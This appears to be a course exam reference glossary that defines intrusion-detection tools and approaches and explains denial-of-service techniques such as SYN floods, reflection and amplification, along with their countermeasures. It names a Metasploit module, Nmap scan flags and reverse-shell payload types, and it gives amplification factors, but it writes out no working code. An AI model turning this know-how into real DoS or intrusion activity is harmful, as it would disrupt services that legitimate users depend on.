A Logging-Based IDS analyzes security events from collected logs — from operating systems, applications, firewalls, authentication services, and network devices. Rather than capturing raw traffic or monitoring a live host, it works on the log data that systems already produce, aggregating and correlating it to detect suspicious patterns across multiple sources.

WHY it matters: Every system already generates logs. A LIDS harnesses this existing data for security analysis without additional sensors. Log correlation across multiple sources can detect attack patterns that no single source would reveal — for example, a failed login on system A followed by a successful login from the same IP on system B, followed by a privilege escalation event on system B.

Connection: LIDS is closely related to SIEM — a SIEM is essentially a sophisticated LIDS with a correlation engine, dashboards, and alerting. Wazuh functions as both HIDS and SIEM/LIDS. Detection quality depends on log completeness, integrity, correct timestamps, and well-designed correlation rules. A common attacker technique is clearing or tampering with logs to evade LIDS — which is why centralized, append-only log forwarding to a remote syslog server is a best practice, and why Security Logging and Monitoring Failures is OWASP A09.

Misuse Detection / Signature Detection

Misuse detection (also called signature-based detection) searches for known attack signatures — specific patterns of bytes, sequences of events, or recognizable malicious behaviors encoded into detection rules. If incoming traffic or activity matches a known signature, an alert fires. This is the same fundamental approach as antivirus signature matching applied to network and host activity.

WHY it matters: Signature detection is highly effective and generates low false positives for known attacks. It is explainable — when it fires, you can point to exactly which rule matched and why. It is operationally mature: tens of thousands of Snort and Suricata rules exist for known threats, CVEs, and established attack patterns.

Connection: The critical limitation is false negatives for unknown attacks — a zero-day exploit, a novel technique, or a known attack that has been slightly modified will not match any existing signature and passes undetected. This is the fundamental susceptibility named on the course slide: 'susceptible to unknown attacks.' Signature detection is therefore paired with anomaly detection in mature deployments. Snort rules, Suricata rules, and YARA rules are all signature-based detection. In the course, Nmap Xmas scan detection is a concrete Snort signature example.

Anomaly Detection

Anomaly detection works by learning or defining what normal operation looks like — baseline traffic volumes, typical user behavior, expected process activity — and raising alerts when observed activity deviates significantly from that baseline. The course slides describe it as a classical machine learning domain: learn normal patterns of operation, detect deviations from normal operation.

WHY it matters: Anomaly detection can reveal novel attacks, zero-days, and insider threats that have no known signature. If an attacker does something that has never been seen before, signature detection misses it entirely — but anomaly detection may catch it because the behavior deviates from the established baseline. It is the countermeasure to the signature detection blind spot.

Connection: The critical limitation is false positives — legitimate behavior can be unusual, seasonal, or newly introduced in ways the baseline did not capture. High false positive rates cause alert fatigue, eroding analyst trust. The course slide names this directly: 'susceptible to false positives.' Anomaly and misuse detection cover complementary failure modes — misuse detection catches known attacks with low noise; anomaly detection catches unknown attacks but produces more noise. Modern SIEM/XDR platforms combine both approaches. Tuning anomaly baselines is an ongoing operational task.

Passive IDS

A passive IDS monitors activity, filters it for security-relevant events, and produces alerts or distilled output — but takes no automated action on the network or host. It is purely a detection and reporting tool. A human analyst or a downstream system receives the output and decides what response, if any, to take. The course slides define it as: 'filter information, extract relevant events — source of distilled information.'

WHY it matters: A passive IDS provides detection capability without the risk of availability harm from incorrect automated responses. False positives generate alerts to investigate, not blocking actions that could disrupt legitimate users. For environments where availability is critical and false positive rates are uncertain, passive detection is the safer starting point.

Connection: Passive IDS is the detection-only posture, contrasted with the reactive system (IPS). The limitation is response latency — a human must see the alert and act, which takes time that a fast-moving attack may not allow. In practice, organizations run passive detection broadly and reactive prevention on high-confidence, narrow signal sets. Zeek operates as a passive network monitoring tool — it never blocks traffic, only logs and alerts.

Reactive System (IPS)

A reactive system — the Intrusion Prevention System — goes beyond detection to take automated action when it identifies suspicious or malicious activity. The course slides list the actions explicitly: change firewall rules, block users, change network connectivity. An IPS is an IDS with enforcement authority added on top of its detection capability.

WHY it matters: Automated reaction shrinks the response window from minutes or hours (human response) to milliseconds (automated). For fast-propagating threats — a worm spreading laterally, an ongoing brute force, a confirmed exploit attempt — an IPS can contain the threat before significant damage occurs.

Connection: The course notes list five factors governing whether automated reaction is appropriate: confidence in the detection, impact of delay, blast radius of the blocking action, reversibility of the action, and whether automated actions are monitored and reviewed. Low-confidence automatic blocking can disrupt legitimate users — an IPS misconfiguration is itself a DoS risk. Crisp exam distinction: IDS detects and reports; IPS detects and acts. Suricata and Snort both support inline IPS mode where they drop matched packets rather than just alerting.

Honeypot

A honeypot is a deliberately attractive decoy system containing fake but realistic-looking data, services, and credentials, deployed to lure attackers away from real assets and into a monitored environment. Any interaction with a honeypot is inherently suspicious — legitimate users have no reason to access it — so every connection is a high-confidence detection signal with virtually no false positives.

WHY it matters: Honeypots achieve three things simultaneously: they detect ongoing attacks (any access triggers an alert), they deflect attacker effort away from real systems, and they collect forensic intelligence about attacker tools, techniques, and behavior. They are particularly valuable for observing new attack techniques that signature-based detection would miss entirely.

Connection: Honeypots are categorized under intrusion deflection in the course's three-approach IDS taxonomy (preemptive blocking, deflection, deterrence). The critical operational requirement is isolation — a honeypot not isolated from real systems can become a pivot point, turning a defensive tool into an attack path. The post-exploitation module `post/windows/gather/checkvm` checks if a compromised

machine is a VM specifically because sophisticated attackers check for honeypot indicators before proceeding with their full toolkit.

Preemptive Blocking / Banishment Vigilance

Preemptive blocking — called banishment vigilance in the course slides — is an IDS approach that observes signs of impending threats and blocks the source user or IP address before an intrusion actually occurs. Rather than waiting for a confirmed attack, it acts on early warning signals: reconnaissance patterns, port scanning, repeated failed logins, or traffic from known-malicious IP reputation feeds.

WHY it matters: By acting before the intrusion happens, preemptive blocking stops attacks at the earliest possible stage. A port scan detected and blocked prevents the attacker from gathering the information needed to proceed. Threat intelligence feeds listing known-malicious IPs enable preemptive blocking at the perimeter before any attack is even launched.

Connection: The course slides directly state the critical risk: 'risk of blocking legitimate users, i.e., risk of a denial of service.' If the detection signal is wrong — a legitimate user behind a shared NAT IP that also hosts an attacker, or a legitimate application that pattern-matches scanning behavior — blocking it harms legitimate access. This is preemptive blocking's fundamental tension: act early (before harm) but risk false-positive DoS. It is the most aggressive of the three IDS approaches and requires the highest signal confidence to use safely.

Intrusion Deflection

Intrusion deflection is an IDS approach that redirects attacker activity away from real assets and into a controlled, monitored environment. The primary mechanism is the honeypot — an attractive decoy that lures the attacker in. Instead of blocking outright (preemptive blocking) or observing without engaging (passive IDS), deflection channels the attack where it can be studied without causing harm to real systems.

WHY it matters: Deflection provides intelligence that pure blocking does not. When an attacker interacts with a honeypot, defenders learn: what tools they use, what vulnerabilities they attempt, what credentials they try, how they escalate privilege, and what their ultimate objective appears to be. This intelligence improves all other defenses and can reveal previously unknown attack techniques.

Connection: Intrusion deflection is one of the three IDS approaches in the course taxonomy alongside preemptive blocking and deterrence. It is implemented primarily via honeypots. The key design constraint is isolation — the honeypot must be convincing enough to attract attackers yet isolated enough to prevent pivoting to production systems. Honeypot logs contribute directly to incident response forensics, providing a detailed reconstruction of attacker behavior that is unavailable from any other source.

Intrusion Deterrence

Intrusion deterrence is an IDS approach that attempts to make a system a less appealing target — reducing the likelihood that an attacker chooses to pursue it. The primary mechanism is visibility: making it apparent that monitoring is in place, signaling that activity will be noticed and may result in a response. The course slides note plainly: 'whom this impresses is another story.'

WHY it matters: Deterrence works on opportunistic, unsophisticated attackers who are choosing among many potential targets. A visible IDS deployment, login banners warning of detection and logging, and public communication of security investment all contribute to making the system appear less attractive than easier alternatives.

Connection: Deterrence is the weakest of the three IDS approaches in the course taxonomy. It relies on the attacker being rational and risk-averse — qualities that do not apply to determined APTs, ideologically motivated hacktivists, or insider threats. The course's skeptical parenthetical reflects this limitation directly. Deterrence is a useful supplement to real technical controls but cannot replace them. It is directionally beneficial — raising attacker cost and reducing attacker confidence is always a positive step — but should never be counted as a primary control.

Suricata

Suricata is a free, open-source network threat detection engine maintained by the Open Information Security Foundation (OISF). It performs multi-threaded, high-performance network IDS/IPS, network security monitoring, protocol analysis, and file extraction. It can operate in passive IDS mode (monitoring only) or inline IPS mode (dropping malicious packets). Suricata natively decodes dozens of application-

layer protocols — HTTP, DNS, TLS, SMB, FTP — and can match rules against decoded protocol fields rather than raw bytes.

WHY it matters: Suricata is one of the two dominant open-source network IDS/IPS engines alongside Snort. Its multi-threaded architecture handles modern high-bandwidth networks more efficiently. Its native application-layer protocol parsing enables more precise rules — matching on HTTP.uri or TLS.sni rather than raw byte patterns — reducing false positives and improving detection quality.

Connection: The course lists Suricata alongside Snort and Zeek as the three primary open-source IDS/IPS examples — all free and open-source. Suricata is compatible with Snort rule syntax, so existing community rules work on both. The course selection question is: 'Does the deployment need network IDS/IPS capabilities, protocol analysis, and integration with the surrounding monitoring stack?' Suricata rules can detect Nmap scan patterns, EternalBlue exploitation, and reverse shell traffic, making it directly relevant to detecting the techniques covered in the course labs.

Snort

Snort is a free, open-source network intrusion detection and prevention system originally created in 1998 by Martin Roesch, now maintained by Cisco Talos. It uses a rule-based language to define detection signatures — each rule specifies protocol, source/destination addresses and ports, content match patterns, and the alert action to take. Snort operates in three modes: packet sniffer, packet logger, or full IDS/IPS. It has one of the largest community rule sets in existence.

WHY it matters: Snort is the historical foundation of open-source network IDS. Its rule language became the industry standard — Suricata is fully compatible with Snort rules. The Talos threat intelligence team publishes Snort rules for newly discovered vulnerabilities, often within hours of a CVE disclosure, making it one of the fastest paths from vulnerability discovery to detection coverage.

Connection: The course lists Snort alongside Suricata and Zeek as the three open-source examples. Key exam point: Snort is fundamentally a signature/misuse detection system — it fires on known patterns. It cannot detect what it has no rule for. In the Nmap section, timing templates T0 and T1 are described as evading IDS scan detection by spreading probes below Snort's correlation window. The course notes also mention Snort has specific rules detecting Xmas scan flag combinations (-sX). In the course tools list, Snort is classified as Firewall/IDS/IPS.

Zeek (Network Security Monitor)

Zeek (formerly known as Bro) is a free, open-source network security monitoring platform. Unlike Snort and Suricata which are primarily signature-alert engines, Zeek takes a fundamentally different approach: it passively observes network traffic, reconstructs application-layer sessions, and produces rich, structured protocol logs — one log file per protocol (conn.log, http.log, dns.log, ssl.log, files.log, and more). These logs capture detailed metadata about every observed connection and can be queried, correlated, and fed into a SIEM.

WHY it matters: Zeek provides deep network telemetry and visibility rather than binary yes/no alerts. An analyst can use Zeek logs to answer: 'what DNS queries did this host make in the last hour?', 'what TLS certificates were presented on port 443?', 'which hosts downloaded executable files?' — questions a signature-only IDS cannot answer. Zeek is especially valuable during incident investigation, providing a complete reconstruction of network activity.

Connection: The course notes distinguish Zeek with: 'does the monitoring workflow need detailed network telemetry and analysis rather than only signature alerts?' Zeek and Snort/Suricata are complementary — many organizations run both, using Snort/Suricata for real-time alerting and Zeek for deep logging and retrospective investigation. Zeek feeds naturally into SIEM platforms like Wazuh or Splunk where its structured logs are indexed and searched. In MITRE ATT&CK; terms, Zeek supports detection across Discovery, Lateral Movement, and Exfiltration through log analysis.

Wazuh

Wazuh is a free, open-source security platform combining HIDS, SIEM (Security Information and Event Management), and XDR (Extended Detection and Response) in a single unified system. It deploys lightweight agents on monitored endpoints — Linux, Windows, macOS, containers — that collect security telemetry (log data, file integrity monitoring, process activity, vulnerability inventory) and forward it to a central Wazuh server for correlation, alerting, and dashboarding. Wazuh integrates with the OpenSearch/Elasticsearch stack for log storage and search.

WHY it matters: Wazuh bridges the gap between endpoint monitoring (HIDS) and centralized log analysis (SIEM). A single deployment can simultaneously monitor host file integrity, detect active exploitation, correlate logs from dozens of sources, run vulnerability assessments, and feed a SOC dashboard. It provides the Blue Team with visibility across all monitored endpoints and the ability to investigate alerts with full log context.

Connection: Wazuh is listed in the course tools catalog specifically as 'SIEM (Inc. Extended Detection and Response)' — the primary Blue Team monitoring platform. It is the defensive counterpart to all the offensive tools covered in the course: when Metasploit exploits a host, when Netcat opens a reverse shell, when John the Ripper cracks a hash — Wazuh is the tool on the other side that should detect those activities. Wazuh rules map directly to MITRE ATT&CK; technique IDs, so when a rule fires it names the specific tactic and technique. XDR extends traditional SIEM by integrating endpoint, network, and cloud telemetry into unified detection and automated response workflow

Cybersecurity (F26) — SDU CIS — 805 terms across 38 sections



■ LAB-DERIVED TERMS (continued)

■ DENIAL OF SERVICE

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

DoS (Denial of Service)

A Denial of Service attack is any attack whose goal is to make a system, service, or network resource unavailable to its legitimate users — denying them the service they are entitled to. The attacker does not need to gain access, steal data, or maintain persistence; the objective is purely disruption. DoS directly attacks the Availability pillar of the CIA Triad.

WHY it matters: Availability is often the most immediately visible CIA goal to attack because the effects are instant and obvious. A website that cannot be reached, a payment system that times out, a hospital's electronic records system that goes offline — these have immediate real-world consequences. For organisations whose revenue depends on uptime (e-commerce, financial services, gaming), even minutes of downtime translate to direct financial loss. For critical infrastructure (hospitals, power grids, emergency services), DoS can be life-threatening.

DoS attacks operate on a simple principle: every system has finite resources — bandwidth, CPU cycles, memory, connection capacity, disk I/O. An attacker who can exhaust any of these resources faster than the system can serve legitimate users has achieved denial of service. The attack does not need to be sophisticated; it needs only to consume more resources than the target can supply.

Single-source DoS is increasingly rare at scale because a single attacking machine has finite bandwidth and is trivially blocked by IP address. This is why most large-scale DoS attacks are distributed (DDoS). In STRIDE, Denial of Service maps directly to the D — the explicit threat to Availability. SYN Cookies, rate limiting, scrubbing services, and reverse proxies are the primary countermeasures covered in this section.

DDoS (Distributed Denial of Service)

A Distributed Denial of Service attack is a DoS attack launched simultaneously from a large number of geographically distributed sources — typically a botnet of compromised machines. The distribution serves two purposes: it provides far more aggregate attack bandwidth/connection capacity than any single source, and it makes blocking by source IP address ineffective (blocking one IP still leaves thousands more attacking).

WHY it matters: DDoS is the dominant form of large-scale denial of service in the modern threat landscape. Attacks measured in terabits per second have been recorded, overwhelming even well-provisioned network infrastructure. The distributed nature means the attack traffic looks like it is coming from legitimate users across the internet, making it difficult to distinguish attack traffic from real user traffic at the network edge. Botnets of millions of compromised IoT devices (Mirai) have generated record-breaking DDoS volumes.

DDoS attack categories: Volumetric attacks (bandwidth exhaustion — flood the target's internet connection with traffic, measured in Gbps/Tbps). Protocol attacks (exploit weaknesses in Layer 3/4 protocols — SYN floods exhaust connection state tables). Application-layer attacks (Layer 7 — exploit the resource cost of legitimate-looking requests, measured in requests per second).

Connection: DDoS requires a botnet (the distributed attacking infrastructure) and a C2 system (to coordinate the attack). The historical DDoS tools in this section — Trinoo, TFN, Stacheldraht — were early botnet-based DDoS platforms. Scrubbing services, reverse proxies (Cloudflare), and rate limiting are the primary defences. The MitID case study in the course (Danish digital

identity system targeted by DDoS) is a real-world DDoS against critical national infrastructure.

Botnet

A botnet is a network of internet-connected devices (bots or zombies) that have been compromised by malware and are remotely controlled by an attacker (the botmaster) via a Command and Control infrastructure. The compromised devices — which may be PCs, servers, routers, cameras, smart TVs, or any other networked device — continue to function normally for their legitimate owners while secretly participating in attacker-directed activities: DDoS attacks, spam campaigns, credential stuffing, cryptocurrency mining, or click fraud.

WHY it matters: A botnet converts the processing power, bandwidth, and storage of thousands or millions of unwitting devices into an attack resource. The Mirai botnet (2016) compromised hundreds of thousands of IoT devices (cameras, DVRs) using default credentials and launched record DDoS attacks of over 1 Tbps against DNS provider Dyn, taking down Twitter, Netflix, Reddit, and others. The owners of the compromised devices had no idea their camera was attacking a major internet service.

Botnet composition: Traditional botnets recruited Windows PCs via malware (Zeus banking trojan botnet, Conficker). Modern botnets increasingly target IoT devices — they outnumber PCs by orders of magnitude, rarely receive security updates, and are often deployed with default credentials that are never changed. Telnet brute force against IoT devices accounted for 97.91% of IoT attacks in course statistics.

Connection: Botnets are the infrastructure behind DDoS, spam, and credential stuffing at scale. Command and Control (C2) is the coordination layer. Botnet takedowns (Operation Tovar for GameOver ZeuS/CryptoLocker) target the C2 infrastructure to sever the botmaster's control. Rate limiting and admission control defend against botnet-sourced traffic floods.

Command and Control (C&C; / C2)

Command and Control (C2 or C&C;) refers to the infrastructure and protocols used by an attacker to communicate with and direct compromised machines in a botnet or with individual malware implants. The C2 channel carries instructions from the attacker (launch DDoS, download payload, exfiltrate data, move laterally) and returns results and telemetry from the compromised machines.

WHY it matters: C2 is what transforms a collection of compromised machines into a coordinated weapon. Without C2, each compromised device acts independently and cannot be directed. Disrupting C2 infrastructure — through domain takedowns, IP blocking, or law enforcement seizure — is the primary method for neutralising botnets and dismantling malware campaigns. This is why takedowns of C2 domains are high-value actions in cyber law enforcement.

C2 architectures: Centralised C2 (all bots connect to one or a few servers — easy for the attacker to manage, easy for defenders to take down by blocking the C2 IP/domain).

Peer-to-peer C2 (bots communicate with each other in a decentralised network — much harder to take down, used by sophisticated malware like GameOver ZeuS). Domain generation algorithms (DGA — malware generates hundreds of potential C2 domain names algorithmically; the attacker registers only the ones to be used, making preemptive blocking impossible).

Tor-based C2 (CryptoWall) — the C2 server operates as a Tor hidden service, making it nearly impossible to locate or block.

Connection: C2 is a core MITRE ATT&CK; tactic (TA0011 — Command and Control), with dozens of documented techniques for establishing and maintaining the channel. Reverse shell

payloads in Metasploit (reverse_tcp, reverse_http, reverse_https) are individual C2 connections. Egress filtering and DNS monitoring are defensive tools that can detect or block C2 traffic. LHOST and LPORT in Metasploit define the attacker-side C2 endpoint.

Availability Attack

An availability attack is any attack whose primary goal is to deny legitimate users access to a resource, service, or system — making it unavailable when needed. It is the operational definition of the threat to the Availability pillar of the CIA Triad. DoS and DDoS are the canonical availability attacks, but availability can also be attacked through ransomware (encrypting files), physical destruction, supply chain disruption, or resource exhaustion through legitimate-looking but excessive usage.

WHY it matters: Availability is often described as the "easiest" CIA goal to attack because it requires neither stealth nor access to sensitive data — the attacker simply needs to consume or destroy resources. An availability attack can be launched by an unskilled attacker (using LOIC) or by a sophisticated nation-state actor deploying custom tools against critical infrastructure. The impact scales from minor inconvenience (a gaming site going down) to national crisis (power grid, hospital systems, emergency services).

The distinction from other attacks: A Confidentiality attack steals data silently; an Integrity attack modifies data (possibly without immediate detection); an Availability attack is immediately and unmistakably visible to everyone who tries to use the service. This visibility can itself be the objective — hacktivists use availability attacks as public demonstrations.

Connection: In STRIDE, the D (Denial of Service) maps exactly to Availability attacks. Every DoS technique in this section is an availability attack. Ransomware (Confidentiality + Availability attack combined) shows that CIA goal violations frequently overlap. Graceful Degradation, rate limiting, redundancy, and scrubbing services are the countermeasures.

Layer 4 Attack

A Layer 4 attack targets the Transport layer of the OSI model — specifically TCP and UDP — to exhaust connection state, bandwidth, or processing resources at the network/transport level rather than the application level. The attack exploits the mechanics of transport protocols rather than application logic. SYN floods are the canonical Layer 4 attack.

WHY it matters: Layer 4 attacks are effective because the transport layer must handle connection setup and state maintenance for every incoming connection attempt, including malicious ones. A server running a web application cannot simply ignore TCP traffic — the operating system's network stack must process every SYN packet to determine whether it is a new legitimate connection. Flooding this process with more SYN packets than the stack can handle exhausts the backlog buffer and denies service to legitimate users.

Layer 4 attacks are typically easier to filter than Layer 7 attacks because they have simpler, more recognisable signatures — a flood of SYN packets from many IPs is structurally distinctive. However, high-volume Layer 4 attacks (volumetric bandwidth exhaustion) can saturate upstream links before filtering equipment ever sees the traffic.

Connection: SYN Flood, LAND Attack, and UDP flood are Layer 4 attacks. SYN Cookies are specifically the countermeasure to Layer 4 SYN flood attacks. Layer 4 attacks contrast with Layer 7 attacks (Slowloris, HTTP flood) which exploit application-layer resource costs and are harder to distinguish from legitimate traffic.

Layer 7 Attack

A Layer 7 attack targets the Application layer of the OSI model — exploiting the resource cost of legitimate-seeming application-layer requests (HTTP, DNS, SMTP) to exhaust server-side application resources rather than network bandwidth or transport-layer state. The attack sends requests that look like normal user traffic but are crafted to consume disproportionate server resources per request.

WHY it matters: Layer 7 attacks are more sophisticated and harder to defend against than Layer 4 attacks because the attack traffic is application-layer valid — it cannot be blocked purely at the network level without also blocking legitimate users. A web server cannot distinguish a legitimate HTTP GET request from a Slowloris slow-read attack based on packet inspection alone; the attack exploits the server's behaviour when responses are not collected.

Layer 7 attacks are also more resource-efficient for the attacker: a single attacking machine can tie up hundreds of server connections with Slowloris by sending partial HTTP requests very slowly, whereas a Layer 4 flood requires generating large traffic volumes.

Connection: Slowloris is the canonical Layer 7 DoS attack. HTTP flood (application-layer resource exhaustion) is another. Layer 7 attacks bypass volumetric defences (scrubbing services that filter by traffic volume pass slow Layer 7 attacks as legitimate). WAFs and application-aware rate limiting are the appropriate defences. Layer 7 attacks map to the "Application-Layer Resource Exhaustion" lab-derived term.

Amplification Attack

An amplification attack exploits services that return responses much larger than the triggering request, using IP address spoofing to direct those large responses at a victim rather than at the attacker. The attacker sends a small request (spoofed with the victim's IP as the source) to many servers; each server sends a large response to the victim. The amplification factor — the ratio of response size to request size — multiplies the attacker's bandwidth by the factor.

WHY it matters: Amplification attacks allow an attacker with limited bandwidth to generate enormous traffic volumes at the victim. DNS amplification: a 40-byte DNS query can return a 4,000-byte response — a 100x amplification factor. NTP amplification (monlist command): a 8-byte request can return a 482-byte response — 60x amplification, capable of generating hundreds of Gbps from modest attack infrastructure. Memcached amplification achieved amplification factors of up to 51,000x, enabling terabit-scale attacks.

Why it works: UDP is connectionless — servers have no way to verify the source IP is genuine and will send responses to whatever IP is in the source field. The amplification servers are not compromised; they are simply being used as unwitting traffic multipliers. The victim receives a flood of legitimate-looking UDP responses from many servers it never contacted.

Connection: Amplification attacks depend on IP Address Spoofing (forging the source IP) and Reflection (using third-party servers as intermediaries). Ingress filtering at ISPs (RFC 2827 / BCP 38) — preventing spoofed-source packets from leaving the attacker's network — would eliminate amplification attacks at their source. The Smurf attack is an ICMP-based amplification attack using broadcast addresses.

Reflection Attack

A reflection attack is a DoS/DDoS technique where the attacker's traffic appears to originate from innocent third-party servers rather than from the attacker directly. The attacker sends requests to

many servers with the victim's IP address forged as the source; the servers reflect their responses at the victim. The attacking traffic is never sent directly from the attacker to the victim — the attacker's traffic goes to the reflectors, and the reflectors' legitimate responses flood the victim.

WHY it matters: Reflection provides two advantages simultaneously. First, the volume of traffic at the victim can far exceed the attacker's own bandwidth (especially combined with amplification). Second, the traffic arriving at the victim comes from many legitimate servers — IP-based blocking is ineffective because the servers sending the flood are not malicious. Tracing the attack back to the original source requires correlating logs across many reflection servers and their upstreams.

Reflection is inherently combined with amplification in most real-world attacks — the attacker chooses reflectors with high amplification factors to maximise the traffic delivered to the victim per unit of attacker bandwidth spent.

Connection: All amplification attacks are also reflection attacks — the terms are often used interchangeably or as "reflection/amplification." Smurf (ICMP), DNS amplification, NTP amplification, and Memcached amplification are all reflection/amplification attacks. IP Address Spoofing is the enabling technique. Ingress filtering (RFC 2827) is the fundamental fix — if ISPs prevent spoofed-source packets from leaving their networks, reflection attacks become impossible.

Bandwidth Exhaustion

Bandwidth exhaustion is a volumetric DoS/DDoS technique that floods the target's internet connection with more traffic than it can handle, consuming all available inbound bandwidth and causing legitimate traffic to be queued or dropped. The attack does not need to exploit any software vulnerability — it simply overwhelms the physical capacity of the connection.

WHY it matters: Bandwidth exhaustion is the most straightforward DoS technique: if you can send more data than the target's pipe can carry, you deny service regardless of how well-designed the target's software is. A 10 Gbps internet connection cannot handle 100 Gbps of attack traffic — no amount of software optimisation overcomes a full pipe. This is why large-scale DDoS attacks measured in hundreds of Gbps or terabits per second are so effective against even well-provisioned targets.

Countermeasures: Bandwidth exhaustion at the victim's edge connection cannot be solved at the victim — the pipe is full before traffic even reaches the victim's equipment. Defence requires upstream mitigation: scrubbing centres (BGP-routed to divert and filter attack traffic before it reaches the victim), reverse proxies / CDNs (Cloudflare) with massive distributed bandwidth capacity that absorbs floods, and ISP-level filtering.

Connection: Bandwidth exhaustion is the goal of volumetric DDoS attacks using botnets, amplification, and reflection. It contrasts with protocol attacks (SYN flood, which exhausts connection state rather than bandwidth) and application attacks (Slowloris, which exhausts server worker processes). Scrubbing services and reverse proxies are the primary countermeasures because they address bandwidth exhaustion before it reaches the target's connection.

SYN Flood (1996)

A SYN flood is a Layer 4 DoS attack that exploits the TCP three-way handshake by sending large numbers of SYN packets with spoofed source IP addresses to the target server. The server

responds to each with a SYN-ACK and allocates a connection entry in its backlog buffer, waiting for the final ACK to complete the handshake. Because the source IPs are spoofed, the ACK never arrives. The backlog buffer fills with half-open connections; new legitimate connection attempts are rejected until entries time out. First exploited publicly in 1996.

WHY it matters: SYN floods are one of the oldest and still widely used DoS techniques because TCP's stateful handshake is fundamentally asymmetric — the server allocates resources (backlog entry, memory) on receipt of the SYN before any authentication of the client. An attacker can generate millions of SYN packets with minimal cost while each packet forces the server to allocate state. The backlog buffer is finite; filling it is sufficient to deny service to all new legitimate connections.

The attack exploits a fundamental design property of TCP — not a bug. The SYN flood was first described by Robert Morris (of Morris Worm fame) in 1985 but weaponised in attacks in 1996, notably against Panix (a New York ISP). It prompted the development of SYN cookies as a cryptographic solution.

Connection: SYN cookies are the primary countermeasure — they eliminate the server-side state allocation until the handshake is completed. RST cookies are an alternative. The Half-Open Connection, Backlog Buffer, and SYN-ACK terms all describe the mechanism the SYN flood exploits. The SYN scan in Nmap (-sS) uses the same half-open connection principle but for reconnaissance rather than denial of service.

TCP 3-Way Handshake

The TCP three-way handshake is the connection establishment procedure for TCP: (1) the client sends a SYN (synchronise) packet to initiate the connection; (2) the server responds with SYN-ACK (synchronise-acknowledge), acknowledging the client's SYN and sending its own SYN; (3) the client sends ACK (acknowledge), completing the connection. After this exchange, a full-duplex TCP connection exists and data transfer can begin.

WHY it matters for DoS: The handshake creates the opportunity for SYN flood attacks. At step 2, the server has committed resources (backlog buffer entry, initial sequence number computation, memory allocation) but has not yet received confirmation that the client is genuine. If the SYN packet's source IP is spoofed, step 3 never happens — the server waits, holding the allocated resources, until a timeout. Filling the backlog with incomplete handshakes denies legitimate connections.

The handshake also explains Nmap's SYN scan (-sS / half-open scan): Nmap sends SYN, receives SYN-ACK (confirming the port is open), then sends RST to abort before completing the handshake — discovering the port is open without completing a logged connection.

Connection: The TCP 3-way handshake is exploited by SYN Flood, half-open connections, and the backlog buffer overflow. SYN-ACK is step 2 of the handshake. SYN cookies solve the handshake resource allocation problem cryptographically. ACK scans in Nmap (-sA) send only the ACK without the prior SYN, which stateful firewalls can detect as anomalous. The RST Cookie is an alternative SYN flood mitigation that also exploits handshake mechanics.

Half-Open Connection

A half-open connection is a TCP connection that has been initiated (SYN sent, SYN-ACK received or sent) but not completed — the three-way handshake has not been finished with the final ACK. The server has allocated a backlog entry and is waiting for the client's ACK to fully establish the connection. A half-open connection consumes server resources without providing

any legitimate service.

WHY it matters: Half-open connections are the resource the SYN flood targets. Each SYN packet received by the server creates one half-open connection in the backlog buffer. The backlog buffer has a fixed size (historically 8 entries on early BSD systems; now configurable but still finite). When the backlog is full of half-open connections, no new connections — legitimate or otherwise — can be accepted until entries time out (typically after 75 seconds without SYN cookies).

In the Nmap SYN scan context: Nmap deliberately creates half-open connections as a scanning technique — it sends SYN, receives SYN-ACK (confirming open), then sends RST to abort, never completing the handshake. This is why the SYN scan is also called the half-open scan. The same half-open state that makes SYN scanning stealthy is what makes SYN flooding effective.

Connection: Half-open connections fill the Backlog Buffer. SYN Cookies eliminate the problem by deferring resource allocation until the handshake completes. The SYN Flood creates millions of half-open connections. Nmap's -sS scan creates half-open connections intentionally for stealthy port scanning.

SYN Cookie

A SYN cookie is a cryptographic technique that eliminates server-side state allocation during the TCP handshake until the connection is confirmed as genuine — defeating SYN flood attacks. Instead of allocating a backlog entry on receiving a SYN, the server encodes all necessary connection state into the initial sequence number (ISN) of the SYN-ACK response as a cryptographic hash of the connection parameters and a timestamp. No backlog entry is created. If the client sends a valid ACK, the server reconstructs the connection state from the cookie value and completes the connection. Spoofed SYNs never produce a valid ACK response, so no resources are ever permanently allocated for them.

WHY it matters: SYN cookies make the server stateless during the handshake — it does not allocate resources until it receives proof (the ACK) that the client is genuine and can receive traffic at the claimed source IP. A SYN flood with spoofed source IPs produces no ACKs, so the server's backlog never fills. Legitimate clients complete the handshake normally and their connections are established without disruption.

Trade-offs: SYN cookies sacrifice some TCP options (window scaling, SACK) that cannot be encoded in the 32-bit ISN field, slightly degrading performance for connections established while cookies are active. Modern implementations mitigate this by only activating SYN cookies when the backlog is under pressure, not for every connection.

Connection: SYN cookies are the primary countermeasure to SYN Flood attacks. They are listed separately from RST Cookies (an alternative mitigation) and from the broader "SYN Cookies" term in the defences subsection of this section. Linux has supported SYN cookies since kernel version 2.0.30 (1997). They directly address the asymmetry in the TCP handshake that the SYN flood exploits.

RST Cookie

An RST cookie is an alternative SYN flood mitigation technique where the server responds to an initial SYN not with a SYN-ACK, but with an invalid SYN-ACK containing a deliberately wrong sequence number. A legitimate client, upon receiving this invalid SYN-ACK, will send an RST packet (because the sequence number is wrong) and then retry the connection. The server

recognises this RST as proof of a genuine client (spoofed connections cannot send RSTs because they never receive the SYN-ACK) and allows the reconnection to proceed normally, adding the client IP to a temporary whitelist.

WHY it matters: RST cookies provide a different approach to the same problem as SYN cookies — verifying client genuineness before allocating connection state. Legitimate clients automatically retry; spoofed clients never respond. The technique is transparent to well-behaved TCP stacks and requires no kernel-level changes to the SYN-ACK generation process.

Limitation: RST cookies add one round-trip latency to every new connection (the initial invalid SYN-ACK exchange) during attack conditions. They also rely on the client correctly handling the invalid SYN-ACK, which most modern TCP stacks do but some older or unusual implementations may not.

Connection: RST cookies are listed alongside SYN cookies as alternative SYN flood countermeasures. Both solve the same problem (defer resource allocation until client genuineness is confirmed) via different cryptographic/protocol mechanisms. In practice, SYN cookies are more widely deployed. Both are specific implementations of the general principle that the server should not commit resources until the client proves it can receive traffic at its claimed IP.

SYN-ACK

SYN-ACK is the second step of the TCP three-way handshake — the server's response to a client's SYN. It sets both the SYN flag (the server's own sequence number synchronisation) and the ACK flag (acknowledging the client's SYN). The SYN-ACK contains the server's Initial Sequence Number (ISN) and acknowledges the client's ISN+1.

WHY it matters in the DoS context: The SYN-ACK is the server's commitment of resources to a potential connection. Sending a SYN-ACK means the server has allocated a backlog entry and is waiting for the client's ACK. This is the resource SYN floods target — generating enough SYN packets to force the server to send SYN-ACKs and fill its backlog with unanswered commitments. SYN cookies change the ISN in the SYN-ACK to encode connection state cryptographically, making the SYN-ACK stateless from the server's perspective.

